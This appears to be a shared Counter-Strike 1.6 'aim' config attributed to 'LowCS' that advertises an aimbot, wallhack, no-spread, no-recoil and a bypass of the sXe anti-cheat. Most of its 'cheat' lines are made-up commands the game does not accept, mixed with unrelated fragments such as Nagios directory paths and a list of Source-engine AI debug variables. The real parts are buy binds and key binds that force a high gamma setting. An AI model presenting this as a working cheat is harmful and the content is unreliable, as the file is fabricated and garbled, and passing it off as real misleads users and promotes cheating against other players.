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Low cfg aim

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  1.  
  2. //==============================
  3. // LowCStrike's Config v8.0
  4. //
  5. //
  6. //
  7. //==============================
  8.  
  9.  
  10. ## FECHA : 01/04/2017
  11. ## AUTOR : LowCS
  12. ## NOMBRE : CFG Low V8.0 ALL SXE 16.2
  13.  
  14. =======================================================
  15.  
  16. ai_models "weapons/famas_deploy.wav" "22"
  17. ai_models "weapons/deagle_deploy.wav" "99"
  18. ai_models "weapons/ak47_deploy.wav" "222"
  19. ai_models "weapons/m4a1_deploy.wav" "212"
  20. ai_models "weapons/galil_deploy.wav" "82"
  21. ai_models "weapons/usp_deploy.wav" "12"
  22. ai_models "weapons/glock18_deploy.wav" "899"
  23. ai_models "weapons/awp_deploy.wav" "182"
  24. ai_models "weapons/scout_deploy.wav" "221"
  25.  
  26. =======================================================
  27.  
  28. am_cl_crosshair_size "1" # end
  29. am_weapons "9999"
  30. am_sxe "on"
  31. am_Low "on"
  32. am_crosshair "1"
  33. am_ak47 "-922"
  34. am_m4a1 "-922"
  35. am_usp "-922"
  36. am_galil "-922"
  37. am_glock18 "-922"
  38. am_famas "-922"
  39. am_deagle "-922"
  40.  
  41. =======================================================
  42.  
  43. Syntax_aimbot_load #vl_aim "models/v_ak47.mdl" 72 128 80 20
  44. Syntax_aimbot_load #vl_aim "models/v_usp.mdl" 7 181 22 21
  45. Syntax_aimbot_load #vl_aim "models/v_dealge.mdl" 2 43 33 99
  46. Syntax_aimbot_load #vl_aim "models/v_glock18.mdl" 72 122 83 21
  47. Syntax_aimbot_load #vl_aim "models/v_famas.mdl" 15 238 10 91
  48. Syntax_aimbot_load #vl_aim "models/v_galil.mdl" 72 128 80 21
  49. Syntax_aimbot_load #vl_aim "models/v_m4a1.mdl" 71 198 99 12
  50. Syntax_aimbot_load #vl_aim "models/v_awp.mdl" 92 111 80 20
  51. Syntax_aimbot_load #vl_aim "models/v_scout.mdl" 72 128 80 20
  52. ;Syntax
  53.  
  54. =======================================================
  55.  
  56. end_fix "sXe.dll"
  57. end_aim "weapons/.mdl"
  58. end_aimbot "cstrike/models/v_ak47.mdl" "9911"
  59. end_aimbot "cstrike/models/v_usp.mdl" "9911"
  60. end_aimbot "cstrike/models/v_deagle.mdl" "9911"
  61. end_aimbot "cstrike/models/v_famas.mdl" "9911"
  62. end_aimbot "cstrike/models/v_glock18.mdl" "9911"
  63. end_aimbot "cstrike/models/v_galil.mdl" "9911"
  64. end_aimbot "cstrike/models/v_awp.mdl" "9911"
  65. end_aimbot "cstrike/models/v_scout.mdl" "9911"
  66. cont models << end;
  67.  
  68. =======================================================
  69.  
  70. "AIM"
  71. {
  72. "convars"
  73. {
  74. "weapons/famas_deploy.wav"
  75. "aim 1;shoot 1" "2"
  76. }
  77. sequence "shoot1_unsil" "shoot1_unsil" fps 0 { event 5021 0 "22" }
  78. weapon_tpc_famas ignite
  79. {
  80. script v_famas.mdl start aimbot_shot "-9993 3243 3202"
  81. }
  82. <3
  83. {
  84. "convars"
  85. {
  86. "weapons/m4a1_deploy.wav"
  87. "aim 1;shoot 1" "2"
  88. }
  89. sequence "shoot1_unsil" "shoot1_unsil" fps 0 { event 5021 0 "22" }
  90. weapon_tpc_m4a1 ignit
  91. {
  92. script v_m4a1.mdl start aimbot_shot "-9993 3243 3202"
  93. }
  94.  
  95. {
  96. "convars"
  97. {
  98. "weapons/deagle_deploy.wav"
  99. "aim 1;shoot 1" "2"
  100. }
  101. sequence "shoot1_unsil" "shoot1_unsil" fps 0 { event 5021 0 "22" }
  102. weapon_tpc_deagle ignit
  103. {
  104. script v_deagle.mdl start aimbot_shot "-9993 3243 3202"
  105. }
  106.  
  107. {
  108. "convars"
  109. {
  110. "weapons/ak47_deploy.wav"
  111. "aim 1;shoot 1" "2"
  112. }
  113. sequence "shoot1_unsil" "shoot1_unsil" fps 0 { event 5021 0 "22" }
  114. weapon_tpc_ak47 ignit
  115. {
  116. script v_ak47.mdl start aimbot_shot "-9993 3243 3202"
  117. }
  118.  
  119. {
  120. "convars"
  121. {
  122. "weapons/galil_deploy.wav"
  123. "aim 1;shoot 1" "2"
  124. }
  125. sequence "shoot1_unsil" "shoot1_unsil" fps 0 { event 5021 0 "22" }
  126. weapon_tpc_galil ignit
  127. {
  128. script v_galil.mdl start aimbot_shot "-9993 3243 3202"
  129. }
  130.  
  131. {
  132. "convars"
  133. {
  134. "weapons/glock18_deploy.wav"
  135. "aim 1;shoot 1" "2"
  136. }
  137. sequence "shoot1_unsil" "shoot1_unsil" fps 0 { event 5021 0 "22" }
  138. weapon_tpc_glock18 ignit
  139. {
  140. script v_glock18.mdl start aimbot_shot "-9993 3243 3202"
  141. }
  142.  
  143. {
  144. "convars"
  145. {
  146. "weapons/awp_deploy.wav"
  147. "aim 1;shoot 1" "2"
  148. }
  149. sequence "shoot1_unsil" "shoot1_unsil" fps 0 { event 5021 0 "22" }
  150. weapon_tpc_awp ignit
  151. {
  152. script v_awp.mdl start aimbot_shot "-9993 3243 3202"
  153. }
  154.  
  155. {
  156. "convars"
  157. {
  158. "weapons/scout_deploy.wav"
  159. "aim 1;shoot 1" "2"
  160. }
  161. sequence "shoot1_unsil" "shoot1_unsil" fps 0 { event 5021 0 "22" }
  162. weapon_tpc_scout ignit
  163. {
  164.  
  165. =======================================================
  166.  
  167. MOUSE1 [9.999.999.999.999] (cl_crosshair_size load 2 -, 3 -, 4)
  168. attack1 [9.999.999.999.991] (cl_crosshair_size load 9 -, 4 -, 9)
  169. +attack1 [9.999.999.999.991] (cl_crosshair_size load 8 -, 1 -, 5)
  170. crosshair [9.999.999.999.991] (cl_crosshair_size 1 load 5 -, 6 -, 9)
  171. MOUSE1 [9.999.999.999.999] (cl_crosshair_size 1 load 2 -, 3 -, 4)
  172. attack1 [9.999.999.999.991] (cl_crosshair_size 1 load 9 -, 4 -, 9)
  173. +attack1 [9.999.999.999.991] (cl_crosshair_size 1 load 8 -, 1 -, 5)
  174. crosshair [9.999.999.999.991] (cl_crosshair_size 1 load 5 -, 6 -, 9)
  175. bind MOUSE1 [9.999.999.999.999] (cl_crosshair_size load 7 -, 3 -, 0)
  176. bind MOUSE1 +attack [9.999.999.999.999] (cl_crosshair_size load 99 -, 1 -, 9)
  177.  
  178. =======================================================
  179.  
  180. wallhack=1
  181. TransparentWalls=1
  182. xqz_mode=1
  183. whitewalls=0
  184. GreenColorModels=0
  185. wireframe_models=0
  186. nosmoke=1
  187. noflash=1
  188. ct_color=1
  189.  
  190. =======================================================
  191.  
  192. oh_aim ak47; m4a1; usp; deagle; glock18; galil; famas; awp; scout; .mdl
  193. oh_CLICK_SINGLE "enable"
  194. {
  195. oh_CLICK_SINGLE "model/v_m4a1.mdl" "-999999999"
  196. oh_CLICK_SINGLE "model/v_ak47.mdl" "-999999999"
  197. oh_CLICK_SINGLE "model/v_usp.mdl" "-999999999"
  198. oh_CLICK_SINGLE "model/v_deagle.mdl" "-999999999"
  199. oh_CLICK_SINGLE "model/v_galil.mdl" "-999999999"
  200. oh_CLICK_SINGLE "model/v_glock18.mdl" "-999999999"
  201. oh_CLICK_SINGLE "model/v_scout.mdl" "-999999999"
  202. }
  203. sleep(1);
  204. }
  205.  
  206. =======================================================
  207.  
  208. auto_aim_team1
  209. team1_aim_type 2
  210. team1_aim_hidewpnevent 1
  211. team1_aim_smooth 1
  212. team1_aim_smoothtype 2
  213. team1_aim_at b1,b2,b3
  214. team1_aim_esp 0
  215. team1_aim_hide 1.9
  216. team1_aim_spot 0
  217. team1_aim_drawspot 0
  218. team1_aim_drawaimspot 0
  219. team1_aim_FOA 25
  220. team1_aim_predback 0
  221. team1_aim_tru 1
  222. team1_aim_alternate 0
  223. team1_aim_vecadd 1
  224. team1_aim_aimvec 1
  225. team1_aim_vec 1
  226. team1_aim_fast 1
  227. team1_aim_fastup 0
  228. team1_aim_stuff 25000
  229. team1_aim_reduce -6
  230. team1_aim_trigger 0
  231. team1_aim_triggercolor 0
  232. team1_aim_autotemp 1
  233. team1_aim_fast 1
  234. team1_aim_autodirector 1
  235. team1_aim_reloadvec 1
  236. team1_aim_refressaddvec 1
  237.  
  238. =======================================================
  239.  
  240. auto_aim_team2
  241. team2_aim_type 2
  242. team2_aim_hidewpnevent 1
  243. team2_aim_smooth 1
  244. team2_aim_smoothtype 2
  245. team2_aim_at b1,b2,b3
  246. team2_aim_esp 0
  247. team2_aim_hide 1.9
  248. team2_aim_spot 0
  249. team2_aim_drawspot 0
  250. team2_aim_drawaimspot 0
  251. team2_aim_FOA 25
  252. team2_aim_predback 0
  253. team2_aim_tru 1
  254. team2_aim_alternate 0
  255. team2_aim_vecadd 1
  256. team2_aim_aimvec 1
  257. team2_aim_vec 1
  258. team2_aim_fast 1
  259. team2_aim_fastup 0
  260. team2_aim_stuff 25000
  261. team2_aim_reduce -6
  262. team2_aim_trigger 0
  263. team2_aim_triggercolor 0
  264. team2_aim_autotemp 1
  265. team2_aim_fast 1
  266. team2_aim_autodirector 1
  267. team2_aim_reloadvec 1
  268. team2_aim_refressaddvec 1
  269.  
  270. =======================================================
  271.  
  272. silent_sniper v_ak47.mdl 1 10 0.12 0.12 0.000001 1
  273. silent_sniper v_m4a1.mdl 5 999 0.06 0.16 0.000001 0
  274. silent_sniper v_uap.mdl 1 999 0.01 0.01 0 0
  275. silent_sniper v_glock18.mdl 3 30 0.12 0.14 0.000001 1
  276. silent_sniper v_deagle.mdl 4 999 0.05 0.43 0.2 12
  277. silent_sniper v_scout.mdl 2 20 0.12 0.13 0.000001 1
  278. silent_sniper v_famas.mdl 1 999 0.01 0.01 0 0
  279. silent_sniper v_galil.mdl 5 999 0.06 0.16 0.000001 0
  280. silent_sniper v_awp.mdl 1 3 1 0 0 0
  281.  
  282. =======================================================
  283.  
  284. Sleep_aimbot_on ak47 222, 232 3
  285. Sleep_aimbot_on usp 999 .243 .222
  286. Sleep_aimbot_on deagle 2223 ,222 11
  287. Sleep_aimbot_on m4a1 999, 923, 2
  288. Sleep_aimbot_on ak47 9992, 222, 11
  289. Sleep_aimbot_on galil 2333 222, 21
  290. Sleep_aimbot_on famas 998, 222, 119
  291.  
  292. =======================================================
  293.  
  294. start recoil.m4a1 320 320 crosshairs 72 128 80 20
  295. start recoil.ak47 320 crosshairs 24 0 24 24
  296. start recoil.deagle 320 crosshairs 5 72 24 24
  297. start recoil.galil 640 640 crosshairs 93 90 170 45
  298. start recoil.usp 320 320 crosshairs 88 128 80 20
  299. strat recoil.glock18 320 320 crosshairs 92 128 80 20
  300. start recoil.awp 320 320 crosshairs 80 120 80 20
  301. start recoil.famas 640 crosshairs 5 72 24 24
  302. start recol.scout 320 crosshairs 5 72 24 24
  303.  
  304. =======================================================
  305.  
  306. cfg_dir=/etc/nagios/commands
  307. cfg_dir=/etc/nagios/timeperiods
  308. cfg_dir=/etc/nagios/contacts
  309. cfg_dir=/etc/nagios/hosts
  310. cfg_dir=/etc/nagios/services
  311. cfg_dir=/etc/nagios/crosshair
  312. cfg_dir=/etc/nagios/recoil
  313. cfg_dir=/etc/nagios/aim
  314.  
  315. =======================================================
  316.  
  317. "config"
  318. {
  319. "convars"
  320. {
  321. "mat_motion_blur_enabled"
  322. "snd_foliager_db_loss" "0"
  323. }
  324. }
  325.  
  326. =======================================================
  327.  
  328. faim=input ("1 26.89 8.3 3.7")
  329. frecoil=imputbox ("9 9 9 9 999 99")
  330. fnospread=imputbox ("99999999999999")
  331.  
  332. =======================================================
  333.  
  334. nospread_spread=999999999999
  335. nospread_recoil=9999999999
  336. nospread_visrecoil=999999
  337. nospread_crosshair " 999 999 999 999"
  338. nospread_MOUSE1 "999 999 999 999"
  339. nospread_cl_crosshair " 999 999 999 999"
  340. nospread_enable "sxe_client 1"
  341. nospread_impulse "300"
  342. nospread_ak47.dll "999 999 999 999"
  343. nospread_m4a1.dll "999 999 999 999"
  344. nospread_usp.dll "999 999 999 999"
  345. nospread_deagle.dll "999 999 999 999"
  346. nospread_glock18.dll "999 999 999 999"
  347. nospread_awp.dll "999 999 999 999"
  348. nospread_scout.dll "999 999 999 999"
  349. nospread_famas.dll "999 999 999 999"
  350. nospread_galil.dll "999 999 999 999"
  351.  
  352. =======================================================
  353.  
  354. load aim.m4a1 (m4a1_stand_1,0,19.76,6.52,1.72)
  355. load aim.ak47 (ak47_stand_2,0,15.91,2.52,8.72)
  356. load aim.deagle (deagle_stand_3,0,12.81,8.52,-6.28)
  357. load aim.galil (galil_stand_2,1,18.82,-6.55,7.52)
  358. load aim.usp (usp_stand_3,1,15.22,2.45,-8.22)
  359. load aim.glock18 (glock18_stand_10,2,35.32,4,55,-6.22)
  360. load aim.awp (awp_stand_3,1,15.22,2.45,-8.22)
  361. load aim.famas (famas_stand_3,1,15.22,2.45,-8.22)
  362. load aim.scout (scout_stand_3,1,15.22,2.45,-8.22)
  363.  
  364. =======================================================
  365.  
  366. loading aim_usp "recoil 0.015"
  367. loading aim_glock18 "recoil 0.015"
  368. loading aim_deagle "recoil 0.15"
  369. loading aim_p228 "recoil 0.011"
  370. loading aim_elite "recoil 0.029"
  371. loading aim_fiveseven "recoil 0.0105"
  372. loading aim_xm1014 "recoil 1.0"
  373. loading aim_m3 "recoil 1.0"
  374. loading aim_mp5 "recoil 1.6"
  375. loading aim_tmp "recoil 1.5"
  376. loading aim_p90 "recoil 1.5"
  377. loading aim_mac10 "recoil 1.5"
  378. loading aim_ump45 "recoil 1.6"
  379. loading aim_ak47 "recoil 1.723"
  380. loading aim_sg552 "recoil 1.67"
  381. loading aim_m4a1 "recoil 1.719"
  382. loading aim_aug "recoil 1.62"
  383. loading aim_scout "recoil 0.01"
  384. loading aim_awp "recoil 0.0"
  385. loading aim_g3sg1 "recoil 1.6"
  386. loading aim_sg550 "recoil 0.1"
  387. loading aim_m249 "recoil 1.82"
  388. loading aim_knife "recoil 0.1"
  389. loading aim_flashbang "recoil 1.282"
  390. loading aim_hegrenade "recoil 1.282"
  391. loading aim_smokegrenade "recoil 1.282"
  392. loading aim_c4 "recoil 0.0"
  393. loading aim_tactical "recoil 0.282"
  394. loading aim_ "recoil 0.302"
  395.  
  396. =======================================================
  397.  
  398. 10
  399. weapon 320 320hud1 0 160 80 20
  400. weapon_s 320 320hud1 0 180 80 20
  401. ammo 320 320hud2 54 16 18 18
  402. crosshair 320 crosshairs 48 24 24 24
  403. autoaim 320 crosshairs 72 72 24 24
  404. weapon 640 640hud1 0 180 170 45
  405. weapon_s 640 640hud4 0 180 170 45
  406. ammo 640 640hud7 72 72 24 24
  407. crosshair 640 crosshairs 48 24 24 24
  408. autoaim 640 crosshairs 72 72 24 24
  409.  
  410. =======================================================
  411.  
  412. ai_debug_assault 0 None
  413. ai_debug_directnavprobe 0 None
  414. ai_debug_doors 0 None
  415. ai_debug_efficiency 0 None
  416. ai_debug_enemies 0 None
  417. ai_debug_expressions 0 Show random expression decisions for NPCs.
  418. ai_debug_follow 0 None
  419. ai_debug_loners 0 None
  420. ai_debug_looktargets 0 None
  421. ai_debug_los 0 Yes Highlights what blocks (or is able to block) NPC line of sight.
  422. ai_debug_nav 0 None
  423. ai_debug_node_connect Debug the attempted connection between two nodes
  424. ai_debug_ragdoll_magnets 0 None
  425. ai_debug_readiness 0 None
  426. ai_debug_shoot_positions 0 None
  427. ai_debug_speech 0 None
  428. ai_debug_squads 0 None
  429. ai_debug_think_ticks 0 None
  430. ai_debugscriptconditions 0 None
  431. ai_disable Bypasses all AI logic routines and puts all NPCs into their idle animations. Can be used to get NPCs out of your way and to test effect of AI logic routines on frame rate
  432. ai_drawbattlelines 0 Yes None
  433. ai_dump_hints None
  434. ai_efficiency_override 0 None
  435. ai_follow_move_commands 1 None
  436. ai_follow_use_points 1 None
  437. ai_follow_use_points_when_moving 1 None
  438. ai_lead_time 0 None
  439. ai_LOS_mode 0 None
  440. ai_moveprobe_debug 0 None
  441. ai_moveprobe_jump_debug 0 None
  442. ai_moveprobe_usetracelist 0 None
  443. ai_new_aiming 1 None
  444. ai_newgroundturret 0 None
  445. ai_next_hull Cycles through the various hull sizes. Currently selected hull size is written to the screen. Controls which connections are shown when ai_show_hull or ai_show_connect commands are used
  446. ai_no_local_paths 0 None
  447. ai_no_node_cache 0 None
  448. ai_no_select_box 0 None
  449. ai_no_steer 0 None
  450. ai_no_talk_delay 0 None
  451. ai_nodes Toggles node display. First call displays the nodes for the given network as green objects. Second call displays the nodes and their IDs. Nodes are color coded as follows:
  452.  
  453. =======================================================
  454.  
  455. bind "PGDN" "buyammo2"
  456. bind "PGUP" "buyammo1; stopsound"
  457. bind "KP_INS" "sgren"
  458. bind "KP_DEL" "flash"
  459. bind "KP_ENTER" "hegren"
  460. bind "KP_END" "m4a1; ak47"
  461. bind "KP_DOWNARROW" "deagle"
  462. bind "KP_PLUS" "vesthelm"
  463. bind "KP_LEFTARROW" "awp"
  464. bind "KP_SLASH" "defuser"
  465. bind "KP_MINUS" "vest"
  466. bind "KP_HOME" "deagle"
  467. bind "KP_UPARROW" "vest"
  468. bind "KP_PGUP" "vesthelm"
  469. bind "KP_LEFTARROW" "galil"
  470. bind "KP_5" "famas"
  471. bind "KP_RIGHTARROW" "usp"
  472. bind "KP_END" "m4a1"
  473. bind "KP_DOWNARROW" "ak47"
  474. bind "KP_PGDN" "awp"
  475. bind "KP_ENTER" "primammo"
  476. bind "KP_INS" "defuser"
  477. bind "KP_DEL" "mp5"
  478. bind "KP_SLASH" "hegren"
  479. bind "KP_MINUS" "sgren"
  480. bind "KP_PLUS" "secammo"
  481. bind "KP_HOME" "m4a1"
  482. bind "KP_UPARROW" "ak47"
  483. bind "KP_PGUP" "magnum"
  484. bind "KP_LEFTARROW" "flash"
  485. bind "KP_5" "hegren"
  486. bind "KP_RIGHTARROW" "sgren"
  487. bind "KP_END" "defuser"
  488. bind "KP_DOWNARROW" "buyammo1"
  489. bind "KP_PGDN" "buyammo2"
  490. bind "KP_INS" "vest;vesthelm"
  491. bind "KP_INS" "deagle;secammo;vesthelm;hegren;flash"
  492. bind "KP_END" "ak47;primammo;vesthelm"
  493. bind "KP_DOWNARROW" "ak47;primammo;hegren;vesthelm;flash"
  494. bind "KP_PGDN" "awp;vesthelm;hegren;flash"
  495. bind "KP_LEFTARROW" "awp"
  496. bind "KP_HOME" "m4a1;primammo;vesthelm"
  497. bind "KP_UPARROW" "m4a1;primammo;hegren;vesthelm;flash"
  498. bind "KP_PGUP" "awp;vesthelm;hegren;flash"
  499. bind "KP_MINUS" "voice_inputfromfile 1; voice_loopback 1; +voicerecord"
  500. bind "KP_PLUS" "voice_inputfromfile 0; voice_loopback 0; -voicerecord"
  501. bind "kp_ins" "primammo; vesthelm; vest; defuser; secammo; hegren; flash"
  502. bind "kp_pgdn" "mp5; primammo; vesthelm; vest; defuser; hegren; flash"
  503. bind "kp_uparrow" "m3; primammo; vesthelm; vest; defuser; hegren; flash"
  504. bind "kp_leftarrow" "galil; famas; primammo; vesthelm; vest; defuser; hegren; flash"
  505. bind "kp_5" "ak47; m4a1; primammo; vesthelm; vest; defuser; hegren; flash"
  506. bind "kp_rightarrow" "aug; sg552; primammo; vesthelm; vest; defuser; hegren; flash"
  507. bind "kp_end" "awp; primammo; vesthelm; vest; defuser; hegren; flash"
  508. bind "kp_downarrow" "deagle; primammo; vesthelm; vest; defuser; hegren; flash; secammo"
  509. bind "kp_pgup" "p228; primammo; vesthelm; vest; defuser; hegren; flash"
  510.  
  511. =======================================================
  512.  
  513. gamma "9"
  514. rate "35000"
  515. m_side "0.8"
  516. m_filter "0"
  517. gl_ansio "0"
  518. joystick "0"
  519. m_forward "1"
  520. m_yaw "0.022"
  521. r_decals "300"
  522. viewsize "110"
  523. ati_npatch :0"
  524. cl_dlmax "128"
  525. m_pitch "0.022"
  526. hpk_maxsize "4"
  527. cl_cmdrate "102"
  528. ex_interp "0.03"
  529. adjust_crosshair
  530. adjust_crosshair
  531. adjust_crosshair
  532. sensitivity "2.6"
  533. hud_fastswitch "1"
  534. cl_updaterate "101"
  535. cl_corpsestay "600"
  536. con_color "0 255 0"
  537. gl_polyoffset "0.1"
  538. _cl_autowepswitch "0"
  539. cl_download_ingame "1"
  540. c_maxdistance "200.0"
  541. c_mindistance "30.0"
  542. c_minpitch "0.0"
  543. con_color "240+230+140"
  544. cl_dynamiccrosshair "0"
  545. zoom_sensitivity_ratio "1.2"
  546. value "spread" to= "hl.exe" +11111111A
  547. clear
  548. +jlook
  549. +mlook
  550.  
  551. =======================================================
  552.  
  553. unbindall
  554. bind "TAB" "+showscores ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  555. bind "ENTER" "+attack ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  556. bind "ESCAPE" "cancelselect"
  557. bind "SPACE" "+jump ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  558. bind "'" "+moveup ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  559. bind "+" "sizeup ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  560. bind "," "buyammo1 ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  561. bind "-" "sizedown ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  562. bind "." "buyammo2 ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  563. bind "/" "+movedow ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlookn"
  564. bind "0" "slot10 ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  565. bind "1" "slot1 ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  566. bind "2" "slot2 ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  567. bind "3" "slot3 ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  568. bind "4" "slot4 ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  569. bind "5" "slot5 ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  570. bind "6" "slot6 ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  571. bind "7" "slot7 ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  572. bind "8" "slot8 ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  573. bind "9" "slot9 ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  574. bind ";" "+mlook ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  575. bind "=" "podbotmenu ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  576. bind "[" "cl_righthand 0 ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  577. bind "]" "cl_righthand 1 ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  578. bind "`" "toggleconsole ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  579. bind "a" "+moveleft"
  580. bind "b" "buy ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  581. bind "c" "radio3 ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  582. bind "d" "+moveright"
  583. bind "e" "+use ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  584. bind "f" "+voicerecord ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  585. bind "g" "drop ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  586. bind "h" "+commandmenu ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  587. bind "i" "showbriefing ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  588. bind "j" "cheer"
  589. bind "k" "+voicerecord ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  590. bind "l" "showbriefing"
  591. bind "m" "chooseteam ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  592. bind "n" "nightvision ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  593. bind "o" "buyequip ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  594. bind "p" "defuser; flash; flash;"
  595. bind "q" "lastinv ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  596. bind "r" "+reload"
  597. bind "s" "+back"
  598. bind "t" "impulse 201 ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  599. bind "u" "messagemode2 ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  600. bind "v" "buyequip"
  601. bind "w" "+forward"
  602. bind "x" "radio2 ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  603. bind "y" "messagemode ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  604. bind "z" "radio1 ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  605. bind "~" "toggleconsole ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  606. bind "UPARROW" "+forward"
  607. bind "DOWNARROW" "+back"
  608. bind "LEFTARROW" "+left"
  609. bind "RIGHTARROW" "+right"
  610. bind "ALT" "+strafe ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
  611. bind "CTRL" "+duck"
  612. bind "SHIFT" "+speed ; ex_interp 0.01 ; gamma 80 ; gl_spriteblend 1 ; bind mwheelup +duck;bind mwheeldown +jump ; cl_bob 0 ; cl_bobup 0 ; +mlook"
